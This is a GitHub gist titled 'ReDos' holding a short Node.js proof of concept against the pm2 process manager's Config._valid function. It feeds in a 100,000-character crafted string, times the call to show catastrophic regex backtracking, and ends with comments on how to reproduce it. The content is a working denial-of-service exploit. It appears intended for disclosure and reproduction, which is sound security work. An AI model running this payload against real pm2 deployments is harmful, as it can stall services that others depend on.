Skip to content

Instantly share code, notes, and snippets.

@mmmsssttt404
Created March 31, 2025 13:53
Show Gist options
  • Save mmmsssttt404/407e2ffe3e0eaa393ad923a86316a385 to your computer and use it in GitHub Desktop.
Save mmmsssttt404/407e2ffe3e0eaa393ad923a86316a385 to your computer and use it in GitHub Desktop.
ReDos
const config = require('./Config')
const schemaEntry = {
type: ['array', 'string']
}
const value = ""+"a".repeat(100000)+"=";
const startTime = performance.now();
const result = config._valid('dummyKey', value, schemaEntry)
console.log(result)
const endTime = performance.now();
const timeTaken = endTime - startTime;
console.log(`time taken: ${timeTaken.toFixed(3)} ms`);
// 1.git clone https://github.com/Unitech/pm2.git
// 2.create poc.js
// 3.node poc.js
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment